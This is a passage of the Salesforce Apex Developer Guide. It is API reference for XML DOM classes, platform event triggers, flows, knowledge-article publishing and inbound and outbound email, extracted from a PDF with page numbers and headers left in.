Creates a new instance of the Dom.Document class.
Document()
Creates a new instance of the Dom.Document class.
Signature
public Document()
1931
Document Methods
The following are methods for Document. All are instance methods.
IN THIS SECTION:
createRootElement(name, namespace, prefix)
Creates the top-level root element for a document.
getRootElement()
Returns the top-level root element node in the document. If this method returns null, the root element has not been created yet.
load(xml)
Parse the XML representation of the document specified in the xml argument and load it into a document.
toXmlString()
Returns the XML representation of the document as a String.
createRootElement(name, namespace, prefix)

Creates the top-level root element for a document.
Signature
public Dom.XmlNode createRootElement(String name, String namespace, String prefix)
Parameters
name
Type: String
namespace
Type: String
prefix
Type: String
Return Value
Type: Dom.XmlNode
Usage
For more information about namespaces, see XML Namespaces.
Calling this method more than once on a document generates an error as a document can have only one root element.
getRootElement()
Returns the top-level root element node in the document. If this method returns null, the root element has not been created yet.
Signature
public Dom.XmlNode getRootElement()
1932
Return Value
Type: Dom.XmlNode
load(xml)
Parse the XML representation of the document specified in the xml argument and load it into a document.
Signature
public Void load(String xml)
Parameters
xml
Type: String
Return Value
Type: Void
Example
doc.load(xml);
toXmlString()
Returns the XML representation of the document as a String.
Signature
public String toXmlString()
Return Value
Type: String
XmlNode Class
Use the XmlNode class to work with a node in an XML document.
Namespace
Dom
XmlNode Methods
The following are methods for XmlNode. All are instance methods.
1933
IN THIS SECTION:
addChildElement(name, namespace, prefix)
Creates a child element node for this node.
addCommentNode(text)
Creates a child comment node for this node.
addTextNode(text)
Creates a child text node for this node.
getAttribute(key, keyNamespace)
Returns namespacePrefix:attributeValue for the given key and key namespace.
getAttributeCount()
Returns the number of attributes for this node.
getAttributeKeyAt(index)
Returns the attribute key for the given index. Index values start at 0.
getAttributeKeyNsAt(index)
Returns the attribute key namespace for the given index.
getAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.
getAttributeValueNs(key, keyNamespace)
Returns the attribute value namespace for the given key and key namespace.
getChildElement(name, namespace)
Returns the child element node for the node with the given name and namespace.
getChildElements()
Returns the child element nodes for this node. This doesn't include child text or comment nodes.
getChildren()
Returns the child nodes for this node. This includes all node types.
getName()
getNamespace()
Returns the namespace of the element.
getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.
getNodeType()
Returns the node type.
getParent()
Returns the parent of this element.
getPrefixFor(namespace)
Returns the prefix of the given namespace.
getText()
Returns the text for this node.
1934
insertBefore(newChild, refChild)
Inserts a new child node before the specified node.
removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.
removeChild(childNode)
Removes the given child node.
setAttribute(key, value)
Sets the key attribute value.
setAttributeNs(key, value, keyNamespace, valueNamespace)
setNamespace(prefix, namespace)
Sets the namespace for the given prefix.
addChildElement(name, namespace, prefix)

Creates a child element node for this node.
Signature
public Dom.XmlNode addChildElement(String name, String namespace, String prefix)
Parameters
name
Type: String
The name argument can't have a null value.
namespace
Type: String
prefix
Type: String
Return Value
Type: Dom.XmlNode
Usage
• If the namespace argument has a non-null value and the prefix argument is null, the namespace is set as the default
namespace.
• If the prefix argument is null, Salesforce automatically assigns a prefix for the element. The format of the automatic prefix is
nsi, where i is a number.If the prefix argument is '', the namespace is set as the default namespace.
addCommentNode(text)
Creates a child comment node for this node.
1935
Signature
public Dom.XmlNode addCommentNode(String text)
Parameters
text
Type: String
The text argument can't have a null value.
Return Value
Type: Dom.XmlNode
addTextNode(text)
Creates a child text node for this node.
Signature
public Dom.XmlNode addTextNode(String text)
Parameters
text
Type: String
The text argument can't have a null value.
Return Value
Type: Dom.XmlNode
getAttribute(key, keyNamespace)
Returns namespacePrefix:attributeValue for the given key and key namespace.
Signature
public String getAttribute(String key, String keyNamespace)
Parameters
key
Type: String
keyNamespace
Type: String
Return Value
Type: String
1936
Example
For example, for the <foo a:b="c:d" /> element:
• getAttribute returns c:d
• getAttributeValue returns d
getAttributeCount()
Returns the number of attributes for this node.
Signature
public Integer getAttributeCount()
Return Value
Type: Integer
getAttributeKeyAt(index)
Returns the attribute key for the given index. Index values start at 0.
Signature
public String getAttributeKeyAt(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
getAttributeKeyNsAt(index)
Returns the attribute key namespace for the given index.
Signature
public String getAttributeKeyNsAt(Integer index)
Parameters
index
Type: Integer
Return Value
Type: String
1937
getAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.
Signature
public String getAttributeValue(String key, String keyNamespace)
Parameters
key
Type: String
keyNamespace
Type: String
Return Value
Type: String
Example
For example, for the <foo a:b="c:d" /> element:
• getAttribute returns c:d
• getAttributeValue returns d
getAttributeValueNs(key, keyNamespace)
Returns the attribute value namespace for the given key and key namespace.
Signature
public String getAttributeValueNs(String key, String keyNamespace)
Parameters
key
Type: String
keyNamespace
Type: String
Return Value
Type: String
getChildElement(name, namespace)
Returns the child element node for the node with the given name and namespace.
1938
Signature
public Dom.XmlNode getChildElement(String name, String namespace)
Parameters
name
Type: String
namespace
Type: String
Return Value
Type: Dom.XmlNode
getChildElements()
Returns the child element nodes for this node. This doesn't include child text or comment nodes.
Signature
public Dom.XmlNode[] getChildElements()
Return Value
Type: Dom.XmlNode[]
getChildren()
Returns the child nodes for this node. This includes all node types.
Signature
public Dom.XmlNode[] getChildren()
Return Value
Type: Dom.XmlNode[]
getName()
Signature
Return Value
Type: String
1939
getNamespace()
Returns the namespace of the element.
Signature
public String getNamespace()
Return Value
Type: String
getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.
Signature
public String getNamespaceFor(String prefix)
Parameters
prefix
Type: String
Return Value
Type: String
getNodeType()
Returns the node type.
Signature
public Dom.XmlNodeType getNodeType()
Return Value
Type: Dom.XmlNodeType
getParent()
Returns the parent of this element.
Signature
public Dom.XmlNode getParent()
Return Value
Type: Dom.XmlNode
1940
getPrefixFor(namespace)
Returns the prefix of the given namespace.
Signature
public String getPrefixFor(String namespace)
Parameters
namespace
Type: String
The namespace argument can't have a null value.
Return Value
Type: String
getText()
Returns the text for this node.
Signature
public String getText()
Return Value
Type: String
insertBefore(newChild, refChild)
Inserts a new child node before the specified node.
Signature
public Dom.XmlNode insertBefore(Dom.XmlNode newChild, Dom.XmlNode refChild)
Parameters
newChild
Type: Dom.XmlNode
The node to insert.
refChild
Type: Dom.XmlNode
The node before the new node.
Return Value
Type: Dom.XmlNode
1941
Usage
• If refChild is null, newChild is inserted at the end of the list.
• If refChild doesn't exist, an exception is thrown.
removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.
Signature
public Boolean removeAttribute(String key, String keyNamespace)
Parameters
key
Type: String
keyNamespace
Type: String
Return Value
Type: Boolean
removeChild(childNode)
Removes the given child node.
Signature
public Boolean removeChild(Dom.XmlNode childNode)
Parameters
childNode
Type: Dom.XmlNode
Return Value
Type: Boolean
setAttribute(key, value)
Signature
public Void setAttribute(String key, String value)
1942
Parameters
key
Type: String
value
Type: String
Return Value
Type: Void
setAttributeNs(key, value, keyNamespace, valueNamespace)

Signature
public Void setAttributeNs(String key, String value, String keyNamespace, String
valueNamespace)
Parameters
key
Type: String
value
Type: String
keyNamespace
Type: String
valueNamespace
Type: String
Return Value
Type: Void
setNamespace(prefix, namespace)
Sets the namespace for the given prefix.
Signature
public Void setNamespace(String prefix, String namespace)
Parameters
prefix
Type: String
namespace
Type: String
1943
Apex Developer Guide EventBus Namespace
Return Value
Type: Void
EventBus Namespace
Contains a class used for platform event triggers.
The following are the classes in the EventBus namespace.
IN THIS SECTION:
TriggerContext Class
Provides information about the trigger that’s currently executing, such as how many times the trigger was retried due to the
EventBus.RetryableException.
SEE ALSO:
Platform Events Developer Guide
TriggerContext Class
Provides information about the trigger that’s currently executing, such as how many times the trigger was retried due to the
EventBus.RetryableException.
Namespace
EventBus
IN THIS SECTION:
TriggerContext Properties
TriggerContext Methods
TriggerContext Properties
The following are properties for TriggerContext.
IN THIS SECTION:
lastError
Read-only. The error message that the last thrown EventBus.RetryableException contains.
retries
Read-only. The number of times the trigger was retried due to throwing the EventBus.RetryableException.
lastError
Read-only. The error message that the last thrown EventBus.RetryableException contains.
1944
Apex Developer Guide EventBus Namespace
Signature
public String lastError {get;}
Property Value
Type: String
Usage
The error message that this property returns is the message that was passed in when creating the
EventBus.RetryableException exception, as follows.
throw new EventBus.RetryableException(

'Condition is not met, so retrying the trigger again.');
retries
Read-only. The number of times the trigger was retried due to throwing the EventBus.RetryableException.
Signature
public Integer retries {get;}
Property Value
Type: Integer
TriggerContext Methods
The following are methods for TriggerContext.
IN THIS SECTION:
currentContext()
Returns an instance of the EventBus.TriggerContext class containing information about the currently executing trigger.
currentContext()
Returns an instance of the EventBus.TriggerContext class containing information about the currently executing trigger.
Signature
public static eventbus.TriggerContext currentContext()
Return Value
Type: EventBus.TriggerContext
Information about the currently executing trigger.
1945
Apex Developer Guide Flow Namespace
Flow Namespace
The Flow namespace provides a class for advanced Visualforce controller access to flows.
The following is the class in the Flow namespace.
IN THIS SECTION:
Interview Class
The Flow.Interview class provides advanced Visualforce controller access to flows and the ability to start a flow.
Interview Class
The Flow.Interview class provides advanced Visualforce controller access to flows and the ability to start a flow.
Namespace
Flow
Usage
The Flow.Interview class is used with Visual Workflow. Use the methods in this class to invoke an autolaunched flow or to enable
a Visualforce controller to access a flow variable.
SOQL and DML limits apply during flow execution. See Apex Governor Limits that Affect Flows in the Visual Workflow Guide.
Example
This sample uses the getVariableValue method to obtain breadcrumb (navigation) information from the flow embedded in the
Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a vaBreadCrumb variable,
the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running.
public class SampleController {
//Instance of the flow

public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}
public String getBreadCrumb() {

String aBreadCrumb;
if (myFlow==null) { return 'Home';}
else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
return(aBreadCrumb==null ? 'Home': aBreadCrumb);
}
}
The following includes a sample controller that starts a flow and the corresponding Visualforce page. The Visualforce page contains an
input box and a start button. When the user enters a number in the input box and clicks Start, the controller’s start method is called.
The button saves the user-entered value to the flow’s input variable and launches the flow using the start method. The flow
1946
Apex Developer Guide Flow Namespace
doubles the value of input and assigns it to the output variable, and the output label displays the value for output by using
the getVariableValue method.
public class FlowController {
//Instance of the Flow

public Flow.Interview.doubler myFlow {get; set;}
public Double value {get; set;}
public Double getOutput() {

if (myFlow == null) return null;
return (Double)(myFlow.getVariableValue('v1'));
}
public void start() {

Map<String, Object> myMap = new Map<String, Object>();
myMap.put('v1', input);
myFlow = new Flow.Interview.doubler(myMap);
myFlow.start();
}
}
The following is the Visualforce page that uses the sample flow controller.
<apex:page controller="FlowController">
<apex:outputLabel id="text">v1 = {!output}</apex:outputLabel>
<apex:form >
value : <apex:inputText value="{!output}"/>
<apex:commandButton action="{!start}" value="Start" reRender="text"/>
</apex:form>
</apex:page>
Interview Methods
The following are instance methods for Interview.
IN THIS SECTION:
getVariableValue(variableName)
Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a
separate flow that is called by a subflow element.
start()
Invokes an autolaunched flow or user provisioning flow.
getVariableValue(variableName)
Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a separate
flow that is called by a subflow element.
Signature
public Object getVariableValue(String variableName)
1947
Apex Developer Guide KbManagement Namespace
Parameters
variableName
Type: String
Specifies the unique name of the flow variable.
Return Value
Type: Object
Usage
The returned variable value comes from whichever flow the interview is running. If the specified variable can’t be found in that flow, the
method returns null.
This method checks for the existence of the variable at run time only, not at compile time.
start()
Invokes an autolaunched flow or user provisioning flow.
Signature
public Void start()
Return Value
Type: Void
Usage
This method can be used only with flows that have one of these types.
• Autolaunched Flow
• User Provisioning Flow
For details, see “Flow Types” in the Visual Workflow Guide.
When a flow user invokes an autolaunched flow, the active flow version is run. If there’s no active version, the latest version is run. When
a flow admin invokes an flow, the latest version is always run.
KbManagement Namespace
The KbManagement namespace provides a class for managing knowledge articles.
The following is the class in the KbManagement namespace.
IN THIS SECTION:
Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.
1948
Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.
Namespace
KbManagement
Usage
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article
and its translations:
• Publishing
• Updating
• Retrieving
• Deleting
• Submitting for translation
• Setting a translation to complete or incomplete status
• Archiving
• Assigning review tasks for draft articles or translations
Note: Date values are based on GMT.
To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more
information on setting up Salesforce Knowledge.
PublishingService Methods
The following are methods for PublishingService. All methods are static.
IN THIS SECTION:
archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives
the article on the scheduled date.
assignDraftArticleTask(articleId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft article.
assignDraftTranslationTask(articleVersionId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft translation.
cancelScheduledArchivingOfArticle(articleId)
Cancels the scheduled archiving of an online article.
cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.
completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.
1949
deleteArchivedArticle(articleId)
Deletes an archived article.
deleteArchivedArticleVersion(articleId, versionNumber)
Deletes a specific version of an archived article.
deleteDraftArticle(articleId)
Deletes a draft article.
deleteDraftTranslation(articleVersionId)
Deletes a draft translation.
editArchivedArticle(articleId)
Creates a draft article from the archived master version and returns the new draft master version ID of the article.
editOnlineArticle(articleId, unpublish)
Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online
article, if unpublish is set to true.
editPublishedTranslation(articleId, language, unpublish)
Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also,
unpublishes the article, if set to true.
publishArticle(articleId, flagAsNew)
Publishes an article. If flagAsNew is set to true, the article is published as a major version.
restoreOldVersion(articleId, versionNumber)
Creates a draft article from an existing online article based on the specified archived version of the article and returns the article
version ID.
scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.
setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to “in progress” status.
submitForTranslation(articleId, language, assigneeId, dueDate)
Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns
new ID of the draft translation.
archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives
the article on the scheduled date.
Signature
public static Void archiveOnlineArticle(String articleId, Datetime scheduledDate)
Parameters
articleId
Type: String
scheduledDate
Type: Datetime
1950
Return Value
Type: Void
Example
String articleId = 'Insert article ID';
Datetime scheduledDate = Datetime.newInstanceGmt(2012, 12,1,13,30,0);
KbManagement.PublishingService.archiveOnlineArticle(articleId, scheduledDate);
assignDraftArticleTask(articleId, assigneeId, instructions, dueDate,

sendEmailNotification)
Assigns a review task related to a draft article.
Signature
public static Void assignDraftArticleTask(String articleId, String assigneeId, String
instructions, Datetime dueDate, Boolean sendEmailNotification)
Parameters
articleId
Type: String
assigneeId
Type: String
instructions
Type: String
dueDate
Type: Datetime
sendEmailNotification
Type: Boolean
Return Value
Type: Void
Example
String assigneeId = '';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
KbManagement.PublishingService.assignDraftArticleTask(articleId, assigneeId, instructions,
dueDate, true);
1951
assignDraftTranslationTask(articleVersionId, assigneeId, instructions, dueDate,

sendEmailNotification)
Assigns a review task related to a draft translation.
Signature
public static Void assignDraftTranslationTask(String articleVersionId, String assigneeId,
String instructions, Datetime dueDate, Boolean sendEmailNotification)
Parameters
articleVersionId
Type: String
assigneeId
Type: String
instructions
Type: String
dueDate
Type: Datetime
sendEmailNotification
Type: Boolean
Return Value
Type: Void
Example
String assigneeId = 'Insert assignee ID';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
KbManagement.PublishingService.assignDraftTranslationTask(articleId, assigneeId,
instructions, dueDate, true);
cancelScheduledArchivingOfArticle(articleId)
Cancels the scheduled archiving of an online article.
Signature
public static Void cancelScheduledArchivingOfArticle(String articleId)
Parameters
articleId
Type: String
1952
Return Value
Type: Void
Example
KbManagement.PublishingService.cancelScheduledArchivingOfArticle (articleId);
cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.
Signature
public static Void cancelScheduledPublicationOfArticle(String articleId)
Parameters
articleId
Type: String
Return Value
Type: Void
Example
KbManagement.PublishingService.cancelScheduledPublicationOfArticle (articleId);
completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.
Signature
public static Void completeTranslation(String articleVersionId)
Parameters
articleVersionId
Type: String
Return Value
Type: Void
1953
Example
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.completeTranslation(articleVersionId);
deleteArchivedArticle(articleId)
Deletes an archived article.
Signature
public static Void deleteArchivedArticle(String articleId)
Parameters
articleId
Type: String
Return Value
Type: Void
Example
KbManagement.PublishingService.deleteArchivedArticle(articleId);
deleteArchivedArticleVersion(articleId, versionNumber)
Deletes a specific version of an archived article.
Signature
public static Void deleteArchivedArticleVersion(String articleId, Integer versionNumber)
Parameters
articleId
Type: String
versionNumber
Type: Integer
Return Value
Type: Void
1954
Example
Integer versionNumber = 1;
KbManagement.PublishingService.deleteArchivedArticleVersion(articleId, versionNumber);
deleteDraftArticle(articleId)
Deletes a draft article.
Signature
public static Void deleteDraftArticle(String articleId)
Parameters
articleId
Type: String
Return Value
Type: Void
Example
KbManagement.PublishingService.deleteDraftArticle(articleId);
deleteDraftTranslation(articleVersionId)
Deletes a draft translation.
Signature
public static Void deleteDraftTranslation(String articleVersionId)
Parameters
articleVersionId
Type: String
Return Value
Type: Void
Example
KbManagement.PublishingService.deleteDraftTranslation (articleVersionId);
1955
editArchivedArticle(articleId)
Creates a draft article from the archived master version and returns the new draft master version ID of the article.
Signature
public static String editArchivedArticle(String articleId)
Parameters
articleId
Type: String
Return Value
Type: String
Example
String id = KbManagement.PublishingService.editArchivedArticle(articleId);
editOnlineArticle(articleId, unpublish)
Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online
article, if unpublish is set to true.
Signature
public static String editOnlineArticle(String articleId, Boolean unpublish)
Parameters
articleId
Type: String
unpublish
Type: Boolean
Return Value
Type: String
Example
String id = KbManagement.PublishingService.editOnlineArticle (articleId, true);
1956
editPublishedTranslation(articleId, language, unpublish)

Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also,
unpublishes the article, if set to true.
Signature
public static String editPublishedTranslation(String articleId, String language, Boolean
unpublish)
Parameters
articleId
Type: String
language
Type: String
unpublish
Type: Boolean
Return Value
Type: String
Example
String language = 'fr';
String id = KbManagement.PublishingService.editPublishedTranslation(articleId, language,
true);
publishArticle(articleId, flagAsNew)
Publishes an article. If flagAsNew is set to true, the article is published as a major version.
Signature
public static Void publishArticle(String articleId, Boolean flagAsNew)
Parameters
articleId
Type: String
flagAsNew
Type: Boolean
Return Value
Type: Void
1957
Example
KbManagement.PublishingService.publishArticle(articleId, true);
restoreOldVersion(articleId, versionNumber)
Creates a draft article from an existing online article based on the specified archived version of the article and returns the article version
ID.
Signature
public static String restoreOldVersion(String articleId, Integer versionNumber)
Parameters
articleId
Type: String
versionNumber
Type: Integer
Return Value
Type: String
Example
String id = KbManagement.PublishingService.restoreOldVersion (articleId, 1);
scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.
Signature
public static Void scheduleForPublication(String articleId, Datetime scheduledDate)
Parameters
articleId
Type: String
scheduledDate
Type: Datetime
Return Value
Type: Void
1958
Example
Datetime scheduledDate = Datetime.newInstanceGmt(2012, 12,1,13,30,0);
KbManagement.PublishingService.scheduleForPublication(articleId, scheduledDate);
setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to “in progress” status.
Signature
public static Void setTranslationToIncomplete(String articleVersionId)
Parameters
articleVersionId
Type: String
Return Value
Type: Void
Example
KbManagement.PublishingService.setTranslationToIncomplete(articleVersionId);
submitForTranslation(articleId, language, assigneeId, dueDate)

Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns
new ID of the draft translation.
Signature
public static String submitForTranslation(String articleId, String language, String
assigneeId, Datetime dueDate)
Parameters
articleId
Type: String
language
Type: String
assigneeId
Type: String
dueDate
Type: Datetime
1959
Apex Developer Guide Messaging Namespace
Return Value
Type: String
Example
String language = 'fr';
String assigneeId = 'Insert assignee ID';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12,1);
String id = KbManagement.PublishingService.submitForTranslation(articleId, language,
assigneeId, dueDate);
Messaging Namespace
The Messaging namespace provides classes and methods for Salesforce outbound and inbound email functionality.
The following are the classes in the Messaging namespace.
IN THIS SECTION:
AttachmentRetrievalOption Enum
Provides options for including attachment metadata only, attachment metadata and content, or excluding attachments.
Email Class (Base Email Methods)
Contains base email methods common to both single and mass email.
EmailFileAttachment Class
EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing
documents in Salesforce.
InboundEmail Class
Represents an inbound email object.
InboundEmail.BinaryAttachment Class
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
InboundEmail.TextAttachment Class
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be
successful.
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
MassEmailMessage Class
Contains methods for sending mass email.
InboundEmail.Header Class
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.
PushNotification Class
PushNotification is used to configure push notifications and send them from an Apex trigger.
1960
PushNotificationPayload Class
Contains methods to create the notification message payload for an Apple device.
RenderEmailTemplateBodyResult Class
Contains the results for rendering email templates.
RenderEmailTemplateError Class
Represents an error that the RenderEmailTemplateBodyResult object can contain.
SendEmailError Class
Represents an error that the SendEmailResult object may contain.
SendEmailResult Class
Contains the result of sending an email message.
SingleEmailMessage Methods
Contains methods for sending single email messages.
AttachmentRetrievalOption Enum
Provides options for including attachment metadata only, attachment metadata and content, or excluding attachments.
Namespace
Messaging
Usage
Use these enum values with the renderStoredEmailTemplate(templateId, whoId, whatId, attachmentRetrievalOption) method.
Enum Values
The following are the values of the Messaging.AttachmentRetrievalOption enum.
Value Description
METADATA_ONLY Includes only the file name, content type, and the object ID in the
fileAttachments property of Messaging.SingleEmailMessage.
Note: When the template is rendered from a Visualforce template (and not
from a static file attached to the template), the object ID is not available.
METADATA_WITH_BODY Includes the attachment content, in addition to the file name, content type, and
the object ID in the fileAttachments property of
Messaging.SingleEmailMessage.
NONE Doesn’t include any attachments in Messaging.SingleEmailMessage.

Contains base email methods common to both single and mass email.
1961
Namespace
Messaging
Usage
Note: If templates are not being used, all email content must be in plain text, HTML, or both.Visualforce email templates cannot
be used for mass email.
Email Methods
The following are methods for Email. All are instance methods.
IN THIS SECTION:
setBccSender(bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first
email sent.
setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.
setTemplateID(templateId)
The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.
setSaveAsActivity(saveAsActivity)
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based
on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track
open rates.
setSenderDisplayName(displayName)
Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a
setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.
setUseSignature(useSignature)
Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user
has a signature it is included in the email unless you specify false.
setBccSender(bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email
sent.
Signature
public Void setBccSender(Boolean bcc)
Parameters
bcc
Type: Boolean
1962
Return Value
Type: Void
Usage
Note: If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages.
The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_ COMPLIANCE_ENABLED. Contact your Salesforce
representative for information on BCC compliance.
setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.
Signature
public Void setReplyTo(String replyAddress)
Parameters
replyAddress
Type: String
Return Value
Type: Void
setTemplateID(templateId)
The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or
Signature
public Void setTemplateID(ID templateId)
Parameters
templateId
Type: ID
Return Value
Type: Void
Usage
Note: setHtmlBody and setPlainTextBody apply only to single email methods, not to mass email methods.
1963
setSaveAsActivity(saveAsActivity)
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based
on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track
open rates.
Signature
public Void setSaveAsActivity(Boolean saveAsActivity)
Parameters
saveAsActivity
Type: Boolean
Return Value
Type: Void
setSenderDisplayName(displayName)
Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a
setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.
Signature
public Void setSenderDisplayName(String displayName)
Parameters
displayName
Type: String
Return Value
Type: Void
setUseSignature(useSignature)
Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a
signature it is included in the email unless you specify false.
Signature
public Void setUseSignature(Boolean useSignature)
Parameters
useSignature
Type: Boolean
1964
Return Value
Type: Void
EmailFileAttachment Class
EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing
documents in Salesforce.
Namespace
Messaging
IN THIS SECTION:
EmailFileAttachment Constructors
EmailFileAttachment Properties
EmailFileAttachment Constructors
The following are constructors for EmailFileAttachment.
IN THIS SECTION:
EmailFileAttachment()
Creates a new instance of the Messaging.EmailFileAttachment class.
EmailFileAttachment()
Creates a new instance of the Messaging.EmailFileAttachment class.
Signature
public EmailFileAttachment()
EmailFileAttachment Properties
The following are properties for EmailFileAttachment.
IN THIS SECTION:
body
Gets or sets the attachment itself.
contenttype
Gets or sets the attachment's Content-Type.
filename
Gets or sets the name of the file to attach.
id
Read-Only. Gets the attachment ID.
1965
inline
Specifies a Content-Disposition of inline (true) or attachment (false).
body
Gets or sets the attachment itself.
Signature
public Blob body {get; set;}
Property Value
Type: Blob
contenttype
Gets or sets the attachment's Content-Type.
Signature
public String contenttype {get; set;}
Property Value
Type: String
filename
Gets or sets the name of the file to attach.
Signature
public String filename {get; set;}
Property Value
Type: String
id
Read-Only. Gets the attachment ID.
Signature
public Id id {get;}
Property Value
Type: Id
1966
inline
Specifies a Content-Disposition of inline (true) or attachment (false).
Signature
public Boolean inline {get; set;}
Property Value
Type: Boolean
InboundEmail Class
Represents an inbound email object.
Namespace
Messaging
IN THIS SECTION:
InboundEmail Constructors
InboundEmail Properties
InboundEmail Constructors
The following are constructors for InboundEmail.
IN THIS SECTION:
InboundEmail()
Creates a new instance of the Messaging.InboundEmail class.
InboundEmail()
Creates a new instance of the Messaging.InboundEmail class.
Signature
public InboundEmail()
InboundEmail Properties
The following are properties for InboundEmail.
IN THIS SECTION:
binaryAttachments
A list of binary attachments received with the email, if any.
1967
ccAddresses
A list of carbon copy (CC) addresses, if any.
fromAddress
The email address that appears in the From field.
fromName
The name that appears in the From field, if any.
headers
A list of the RFC 2822 headers in the email.
htmlBody
The HTML version of the email, if specified by the sender.
htmlBodyIsTruncated
Indicates whether the HTML body text is truncated (true) or not (false.)
inReplyTo
The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the
parent email or emails' message-IDs.
messageId
The Message-ID—the incoming email's unique identifier.
plainTextBody
The plain text version of the email, if specified by the sender.
plainTextBodyIsTruncated
Indicates whether the plain body text is truncated (true) or not (false.)
references
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message
IDs, and possibly the In-Reply-To fields.
replyTo
The email address that appears in the reply-to header.
subject
The subject line of the email, if any.
textAttachments
A list of text attachments received with the email, if any.
toAddresses
The email address that appears in the To field.
binaryAttachments
A list of binary attachments received with the email, if any.
Signature
public InboundEmail.BinaryAttachment[] binaryAttachments {get; set;}
1968
Property Value
Type: InboundEmail.BinaryAttachment[]
Usage
Examples of binary attachments include image, audio, application, and video files.
ccAddresses
A list of carbon copy (CC) addresses, if any.
Signature
public String[] ccAddresses {get; set;}
Property Value
Type: String[]
fromAddress
The email address that appears in the From field.
Signature
public String fromAddress {get; set;}
Property Value
Type: String
fromName
The name that appears in the From field, if any.
Signature
public String fromName {get; set;}
Property Value
Type: String
headers
A list of the RFC 2822 headers in the email.
Signature
public InboundEmail.Header[] headers {get; set;}
1969
Property Value
Type: InboundEmail.Header[]
Usage
The list of the RFC 2822 headers includes:
• Recieved from
• Custom headers
• Message-ID
• Date
htmlBody
The HTML version of the email, if specified by the sender.
Signature
public String htmlBody {get; set;}
Property Value
Type: String
htmlBodyIsTruncated
Indicates whether the HTML body text is truncated (true) or not (false.)
Signature
public Boolean htmlBodyIsTruncated {get; set;}
Property Value
Type: Boolean
inReplyTo
The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent
email or emails' message-IDs.
Signature
public String inReplyTo {get; set;}
Property Value
Type: String
1970
messageId
The Message-ID—the incoming email's unique identifier.
Signature
public String messageId {get; set;}
Property Value
Type: String
plainTextBody
The plain text version of the email, if specified by the sender.
Signature
public String plainTextBody {get; set;}
Property Value
Type: String
plainTextBodyIsTruncated
